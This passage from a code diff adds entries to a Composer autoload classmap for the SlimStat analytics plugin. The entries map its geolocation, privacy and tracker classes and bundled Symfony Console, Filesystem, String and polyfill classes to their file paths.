'\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeolocation\u002FProvider\u002FGeoServiceProviderInterface.php',\n+        'SlimStat\\\\Services\\\\Geolocation\\\\Provider\\\\MaxmindGeoIPProvider' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php',\n+        'SlimStat\\\\Services\\\\Privacy' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FPrivacy.php',\n+        'SlimStat\\\\Services\\\\Privacy\\\\ConsentHandler' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FPrivacy\u002FConsentHandler.php',\n+        'SlimStat\\\\Services\\\\Privacy\\\\DataEraser' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FPrivacy\u002FDataEraser.php',\n+        'SlimStat\\\\Services\\\\Privacy\\\\DataExporter' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FPrivacy\u002FDataExporter.php',\n+        'SlimStat\\\\Tracker\\\\Ajax' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FTracker\u002FAjax.php',\n+        'SlimStat\\\\Tracker\\\\Processor' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FTracker\u002FProcessor.php',\n+        'SlimStat\\\\Tracker\\\\Routing' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FTracker\u002FRouting.php',\n+        'SlimStat\\\\Tracker\\\\Session' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FTracker\u002FSession.php',\n+        'SlimStat\\\\Tracker\\\\Storage' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FTracker\u002FStorage.php',\n+        'SlimStat\\\\Tracker\\\\Tracker' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FTracker\u002FTracker.php',\n+        'SlimStat\\\\Tracker\\\\Utils' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FTracker\u002FUtils.php',\n+        'SlimStat\\\\Utils\\\\Consent' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FConsent.php',\n+        'SlimStat\\\\Utils\\\\Query' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FQuery.php',\n+        'SlimStat\\\\Utils\\\\Request' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FRequest.php',\n         'SlimStat\\\\Utils\\\\UADetector' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FUADetector.php',\n+        'Stringable' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FStringable.php',\n+        'Symfony\\\\Component\\\\Console\\\\Application' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FApplication.php',\n+        'Symfony\\\\Component\\\\Console\\\\Attribute\\\\AsCommand' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FAttribute\u002FAsCommand.php',\n+        'Symfony\\\\Component\\\\Console\\\\CI\\\\GithubActionReporter' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCI\u002FGithubActionReporter.php',\n+        'Symfony\\\\Component\\\\Console\\\\Color' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FColor.php',\n+        'Symfony\\\\Component\\\\Console\\\\CommandLoader\\\\CommandLoaderInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommandLoader\u002FCommandLoaderInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\CommandLoader\\\\ContainerCommandLoader' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommandLoader\u002FContainerCommandLoader.php',\n+        'Symfony\\\\Component\\\\Console\\\\CommandLoader\\\\FactoryCommandLoader' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommandLoader\u002FFactoryCommandLoader.php',\n+        'Symfony\\\\Component\\\\Console\\\\Command\\\\Command' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FCommand.php',\n+        'Symfony\\\\Component\\\\Console\\\\Command\\\\CompleteCommand' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FCompleteCommand.php',\n+        'Symfony\\\\Component\\\\Console\\\\Command\\\\DumpCompletionCommand' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FDumpCompletionCommand.php',\n+        'Symfony\\\\Component\\\\Console\\\\Command\\\\HelpCommand' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FHelpCommand.php',\n+        'Symfony\\\\Component\\\\Console\\\\Command\\\\LazyCommand' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FLazyCommand.php',\n+        'Symfony\\\\Component\\\\Console\\\\Command\\\\ListCommand' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FListCommand.php',\n+        'Symfony\\\\Component\\\\Console\\\\Command\\\\LockableTrait' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FLockableTrait.php',\n+        'Symfony\\\\Component\\\\Console\\\\Command\\\\SignalableCommandInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FSignalableCommandInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Completion\\\\CompletionInput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FCompletionInput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Completion\\\\CompletionSuggestions' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FCompletionSuggestions.php',\n+        'Symfony\\\\Component\\\\Console\\\\Completion\\\\Output\\\\BashCompletionOutput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FOutput\u002FBashCompletionOutput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Completion\\\\Output\\\\CompletionOutputInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FOutput\u002FCompletionOutputInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Completion\\\\Suggestion' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FSuggestion.php',\n+        'Symfony\\\\Component\\\\Console\\\\ConsoleEvents' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FConsoleEvents.php',\n+        'Symfony\\\\Component\\\\Console\\\\Cursor' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FCursor.php',\n+        'Symfony\\\\Component\\\\Console\\\\DependencyInjection\\\\AddConsoleCommandPass' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FDependencyInjection\u002FAddConsoleCommandPass.php',\n+        'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\ApplicationDescription' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FApplicationDescription.php',\n+        'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\Descriptor' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FDescriptor.php',\n+        'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\DescriptorInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FDescriptorInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\JsonDescriptor' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FJsonDescriptor.php',\n+        'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\MarkdownDescriptor' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FMarkdownDescriptor.php',\n+        'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\TextDescriptor' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FTextDescriptor.php',\n+        'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\XmlDescriptor' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FXmlDescriptor.php',\n+        'Symfony\\\\Component\\\\Console\\\\EventListener\\\\ErrorListener' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FEventListener\u002FErrorListener.php',\n+        'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleCommandEvent' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleCommandEvent.php',\n+        'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleErrorEvent' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleErrorEvent.php',\n+        'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleEvent' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleEvent.php',\n+        'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleSignalEvent' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleSignalEvent.php',\n+        'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleTerminateEvent' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleTerminateEvent.php',\n+        'Symfony\\\\Component\\\\Console\\\\Exception\\\\CommandNotFoundException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FException\u002FCommandNotFoundException.php',\n+        'Symfony\\\\Component\\\\Console\\\\Exception\\\\ExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FException\u002FExceptionInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Exception\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FException\u002FInvalidArgumentException.php',\n+        'Symfony\\\\Component\\\\Console\\\\Exception\\\\InvalidOptionException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FException\u002FInvalidOptionException.php',\n+        'Symfony\\\\Component\\\\Console\\\\Exception\\\\LogicException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FException\u002FLogicException.php',\n+        'Symfony\\\\Component\\\\Console\\\\Exception\\\\MissingInputException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FException\u002FMissingInputException.php',\n+        'Symfony\\\\Component\\\\Console\\\\Exception\\\\NamespaceNotFoundException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FException\u002FNamespaceNotFoundException.php',\n+        'Symfony\\\\Component\\\\Console\\\\Exception\\\\RuntimeException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FException\u002FRuntimeException.php',\n+        'Symfony\\\\Component\\\\Console\\\\Formatter\\\\NullOutputFormatter' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FNullOutputFormatter.php',\n+        'Symfony\\\\Component\\\\Console\\\\Formatter\\\\NullOutputFormatterStyle' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FNullOutputFormatterStyle.php',\n+        'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatter' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatter.php',\n+        'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatterInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatterInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatterStyle' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatterStyle.php',\n+        'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatterStyleInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatterStyleInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatterStyleStack' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatterStyleStack.php',\n+        'Symfony\\\\Component\\\\Console\\\\Formatter\\\\WrappableOutputFormatterInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FWrappableOutputFormatterInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\DebugFormatterHelper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FDebugFormatterHelper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\DescriptorHelper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FDescriptorHelper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\Dumper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FDumper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\FormatterHelper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FFormatterHelper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\Helper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FHelper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\HelperInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FHelperInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\HelperSet' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FHelperSet.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\InputAwareHelper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FInputAwareHelper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\ProcessHelper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FProcessHelper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\ProgressBar' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FProgressBar.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\ProgressIndicator' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FProgressIndicator.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\QuestionHelper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FQuestionHelper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\SymfonyQuestionHelper' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FSymfonyQuestionHelper.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\Table' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTable.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableCell' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableCell.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableCellStyle' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableCellStyle.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableRows' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableRows.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableSeparator' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableSeparator.php',\n+        'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableStyle' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableStyle.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\ArgvInput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FArgvInput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\ArrayInput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FArrayInput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\Input' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\InputArgument' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputArgument.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\InputAwareInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputAwareInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\InputDefinition' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputDefinition.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\InputInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\InputOption' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputOption.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\StreamableInputInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FStreamableInputInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Input\\\\StringInput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FInput\u002FStringInput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Logger\\\\ConsoleLogger' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FLogger\u002FConsoleLogger.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\BufferedOutput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FBufferedOutput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\ConsoleOutput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FConsoleOutput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\ConsoleOutputInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FConsoleOutputInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\ConsoleSectionOutput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FConsoleSectionOutput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\NullOutput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FNullOutput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\Output' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FOutput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\OutputInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FOutputInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\StreamOutput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FStreamOutput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Output\\\\TrimmedBufferOutput' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FTrimmedBufferOutput.php',\n+        'Symfony\\\\Component\\\\Console\\\\Question\\\\ChoiceQuestion' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FQuestion\u002FChoiceQuestion.php',\n+        'Symfony\\\\Component\\\\Console\\\\Question\\\\ConfirmationQuestion' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FQuestion\u002FConfirmationQuestion.php',\n+        'Symfony\\\\Component\\\\Console\\\\Question\\\\Question' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FQuestion\u002FQuestion.php',\n+        'Symfony\\\\Component\\\\Console\\\\SignalRegistry\\\\SignalRegistry' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FSignalRegistry\u002FSignalRegistry.php',\n+        'Symfony\\\\Component\\\\Console\\\\SingleCommandApplication' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FSingleCommandApplication.php',\n+        'Symfony\\\\Component\\\\Console\\\\Style\\\\OutputStyle' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FStyle\u002FOutputStyle.php',\n+        'Symfony\\\\Component\\\\Console\\\\Style\\\\StyleInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FStyle\u002FStyleInterface.php',\n+        'Symfony\\\\Component\\\\Console\\\\Style\\\\SymfonyStyle' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FStyle\u002FSymfonyStyle.php',\n+        'Symfony\\\\Component\\\\Console\\\\Terminal' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FTerminal.php',\n+        'Symfony\\\\Component\\\\Console\\\\Tester\\\\ApplicationTester' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FTester\u002FApplicationTester.php',\n+        'Symfony\\\\Component\\\\Console\\\\Tester\\\\CommandCompletionTester' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FTester\u002FCommandCompletionTester.php',\n+        'Symfony\\\\Component\\\\Console\\\\Tester\\\\CommandTester' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FTester\u002FCommandTester.php',\n+        'Symfony\\\\Component\\\\Console\\\\Tester\\\\Constraint\\\\CommandIsSuccessful' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FTester\u002FConstraint\u002FCommandIsSuccessful.php',\n+        'Symfony\\\\Component\\\\Console\\\\Tester\\\\TesterTrait' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole\u002FTester\u002FTesterTrait.php',\n+        'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\ExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FExceptionInterface.php',\n+        'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\FileNotFoundException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FFileNotFoundException.php',\n+        'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\IOException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FIOException.php',\n+        'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\IOExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FIOExceptionInterface.php',\n+        'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FInvalidArgumentException.php',\n+        'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\RuntimeException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FRuntimeException.php',\n+        'Symfony\\\\Component\\\\Filesystem\\\\Filesystem' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem\u002FFilesystem.php',\n+        'Symfony\\\\Component\\\\Filesystem\\\\Path' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem\u002FPath.php',\n+        'Symfony\\\\Component\\\\String\\\\AbstractString' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FAbstractString.php',\n+        'Symfony\\\\Component\\\\String\\\\AbstractUnicodeString' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FAbstractUnicodeString.php',\n+        'Symfony\\\\Component\\\\String\\\\ByteString' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FByteString.php',\n+        'Symfony\\\\Component\\\\String\\\\CodePointString' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FCodePointString.php',\n+        'Symfony\\\\Component\\\\String\\\\Exception\\\\ExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FException\u002FExceptionInterface.php',\n+        'Symfony\\\\Component\\\\String\\\\Exception\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FException\u002FInvalidArgumentException.php',\n+        'Symfony\\\\Component\\\\String\\\\Exception\\\\RuntimeException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FException\u002FRuntimeException.php',\n+        'Symfony\\\\Component\\\\String\\\\Inflector\\\\EnglishInflector' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FInflector\u002FEnglishInflector.php',\n+        'Symfony\\\\Component\\\\String\\\\Inflector\\\\FrenchInflector' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FInflector\u002FFrenchInflector.php',\n+        'Symfony\\\\Component\\\\String\\\\Inflector\\\\InflectorInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FInflector\u002FInflectorInterface.php',\n+        'Symfony\\\\Component\\\\String\\\\LazyString' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FLazyString.php',\n+        'Symfony\\\\Component\\\\String\\\\Slugger\\\\AsciiSlugger' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FSlugger\u002FAsciiSlugger.php',\n+        'Symfony\\\\Component\\\\String\\\\Slugger\\\\SluggerInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FSlugger\u002FSluggerInterface.php',\n+        'Symfony\\\\Component\\\\String\\\\UnicodeString' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FUnicodeString.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\Attribute\\\\Required' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FAttribute\u002FRequired.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\Attribute\\\\SubscribedService' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FAttribute\u002FSubscribedService.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\ResetInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FResetInterface.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\ServiceCollectionInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FServiceCollectionInterface.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\ServiceLocatorTrait' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FServiceLocatorTrait.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\ServiceMethodsSubscriberTrait' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FServiceMethodsSubscriberTrait.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\ServiceProviderInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FServiceProviderInterface.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\ServiceSubscriberInterface' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FServiceSubscriberInterface.php',\n+        'Symfony\\\\Contracts\\\\Service\\\\ServiceSubscriberTrait' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts\u002FServiceSubscriberTrait.php',\n+        'Symfony\\\\Polyfill\\\\Ctype\\\\Ctype' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-ctype\u002FCtype.php',\n+        'Symfony\\\\Polyfill\\\\Intl\\\\Grapheme\\\\Grapheme' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-intl-grapheme\u002FGrapheme.php',\n+        'Symfony\\\\Polyfill\\\\Intl\\\\Normalizer\\\\Normalizer' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002FNormalizer.php',\n+        'Symfony\\\\Polyfill\\\\Mbstring\\\\Mbstring' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-mbstring\u002FMbstring.php',\n+        'Symfony\\\\Polyfill\\\\Php73\\\\Php73' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php73\u002FPhp73.php',\n+        'Symfony\\\\Polyfill\\\\Php80\\\\Php80' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80\u002FPhp80.php',\n+        'Symfony\\\\Polyfill\\\\Php80\\\\PhpToken' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80\u002FPhpToken.php',\n+        'UnhandledMatchError' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FUnhandledMatchError.php',\n+        'ValueError' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FValueError.php',\n     );\n \n     